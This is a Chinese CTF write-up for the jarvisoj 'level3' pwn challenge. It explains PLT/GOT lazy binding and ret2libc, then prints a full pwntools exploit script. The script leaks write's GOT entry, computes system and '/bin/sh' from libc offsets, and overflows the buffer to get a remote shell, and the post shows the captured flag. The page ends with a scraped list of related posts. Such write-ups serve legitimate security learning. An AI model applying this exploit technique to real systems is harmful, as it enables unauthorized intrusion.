jarvisoj level3
level3
将文件下载下来使用linux下的checksec进行检查开启了什么安全机制
sun@ubuntu:~/Desktop/test$ checksec level3
[*] '/home/sun/Desktop/test/level3'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
开启可栈中不能执行
将这个文件放入ida里面可以看出这个文件里面并没有system函数和/bin/sh字符串,因此不能直接得出system函数的地址,我们可以知道还给了一个libc库,可以在这个库中寻找需要的函数和字符串。
可以很容易发现有溢出的漏洞,要想得到shell必须要执行system("/bin/sh")这样的命令,因此这需要我们去构造。
在构造之前需要知道一个知识:在库中两个函数的偏移之差等于程序实际运行中这两个函数在程序中的偏移之差。
首先因为我们有这个共享库,因此既我们能够很容易得到在libc库中函数的偏移量,使用ELF便能得到
因此只要能够得到一个在程序运行中的函数地址便可以算出库函数中任意函数在程序中的地址了。
接下来的问题便是得到一个函数的地址,在这之前需要知道在linux程序运行中有两个表got表和plt表,这是当运行一个函数时需要使用到这两个表,当第一次运行一个共享库中的函数时,便会找到对应的plt表中的内容,这个内容是got表的地址,got表里面的内容是plt表中的第二条指令,然后会在共享库中寻找对应函数的地址,并将地址放入got表中,这便是延迟绑定,表示当运行时才会确定一个共享库函数的真实地址,当第二次使用这个函数时会直接使用got表中的内容当成函数的地址,这是因为在第一次已经找到了,以后就可以直接使用了。
我们使用elf.symbols[‘write’]和elf.plt[‘write’]这个得到的结果是相同的,都是对应函数在plt表的地址(并不是plt表中的内容),当使用elf.plt[‘func’]会报错这是因为用户自定义的函数不在这个表里,elf.got[‘write’]这个返回对应函数got表的地址。
调用共享库的函数都是调用的这个函数plt表的地址,然后会找到真正的函数地址。
下面便是这个题的答案
elf=ELF("./libc-2.19.so")
elf1=ELF("./level3")
p=remote("pwn2.jarvisoj.com",9879)
sys_addr_lib=elf.symbols['system']
bin_addr_lib=elf.search('/bin/sh').next()
wri_addr_lib=elf.symbols['write']
write_plt=elf1.symbols['write']
write_got=elf1.got['write']
read_plt=elf1.symbols['read']
func_addr=elf1.symbols['vulnerable_function']
payload1='a'*0x88+'AAAA'+p32(write_plt)+p32(func_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv(4))
print type(write_addr)sys_addr=write_addr-wri_addr_lib+sys_addr_lib
bin_addr=write_addr-wri_addr_lib+bin_addr_lib
p.recvuntil("Input:\n")
payload2='a'*0x88+'AAAA'+p32(sys_addr)+p32(2)+p32(bin_addr)
p.sendline(payload2)
p.interactive()sun@ubuntu:~/Desktop/test$ python 3.py
[*] '/home/sun/Desktop/test/libc-2.19.so'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
[*] '/home/sun/Desktop/test/level3'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
[+] Opening connection to pwn2.jarvisoj.com on port 9879: Done
<type 'int'>
[*] Switching to interactive mode
$ ls
flag
level3
$ cat flag
CTF{d85346df5770f56f69025bc3f5f1d3d0}
$
jarvisoj level3相关推荐
- [Jarvis OJ - PWN]——[XMAN]level3
[Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...
- Jarvis Oj Pwn 学习笔记-level3
你们期待的Libc终于来了~(return_to_libc attack) 跪呈链接: https://files.cnblogs.com/files/Magpie/level3.rar nc pwn ...
- JarvisOJ level4
这题与level3相比就是就是题目并没有给出对应的libc文件,这里就要学习使用一波DynELF函数了,这是pwntools的一个函数,使用前请确认安装完整pwntools工具. 前言: DynELF ...
- Jarvis oj level3
下载下来发现有level3文件和libc.so文件,先checksec,和level2差不多,接着ida打开level3,没找到system函数和bin字符串,没什么办法了.接着去看so文件,libc ...
- jarvisoj pwn XMAN系列
目录 level0 level1 level2 level2_x64 level3 Level3_x64 level0 题目明显提示:buf的长度是0x80,可以直接覆盖掉return address ...
- Level3公司在哥伦比亚开通运营第三个数据中心
日前,美国网络和基础设施巨头Level3公司在哥伦比亚开通运营了其第三个数据中心. 该公司在哥伦比亚卡利建设的新数据中心是其"超级精英"系列的一部分,这意味着该数据中心满足了其冗余 ...
- AcWing提高算法课Level-3 第四章 高级数据结构
AcWing提高算法课Level-3 第四章 高级数据结构 并查集 AcWing 1250. 格子游戏1167人打卡 AcWing 1252. 搭配购买1064人打卡 AcWing 237. 程序自动 ...
- AcWing提高算法课Level-3 第六章 基础算法
AcWing提高算法课Level-3 第六章 基础算法 位运算 AcWing 90. 64位整数乘法761人打卡 递推与递归 AcWing 95. 费解的开关520人打卡 AcWing 97. 约数之 ...
- http://level3.tasteless.eu/ 获得服务器目录及其内部文件信息
分析信息:得出结论: 1.index.php为该目录下的主文件 2.提醒我们查看php.ini 3.rfi is forbidden 说明配置里allow_url_fopen为Off,该题极有可能要利 ...
最新文章
- Markdown快速上手
- 王立飞:专注己之长 跨界求发展
- 拥有懂需求的云计算供应商,是一种怎样的体验
- Linux sed Examples--转载
- 前端学习(2003)vue之电商管理系统电商系统之之允许三级选择
- 论文浅尝 | 用图网络做小样本学习
- mysql out_mysql存储过程 in out inout
- object detection错误之no module named nets
- Apocalypse Someday(POJ-3208)
- 【廖雪峰官方网站/Java教程】反射
- 关于进程与线程的讲解 最最最生动的理解
- 赛事+内容IP齐发力,汽车之家打破Z世代次元壁
- 西电大学计算机专硕,2021西安电子科技大学计算机专硕考研成功经验分享
- pwnable.kr 第一题fd
- 如何用单片机控制可控硅c语言程序,可控硅的斩波控制的实现--C语言源代码
- Unity 百度语音识别
- Python学习笔记——数据分析之工作环境准备及数据分析建模理论基础
- kali系统渗透window实现屏幕监控
- [bowtie2, libtbb.so.2]error while loading shared libraries: libtbb.so.2: cannot open shared object
- 【科创人】DataVisor创始人谢映莲:智能生意应坚守数据道德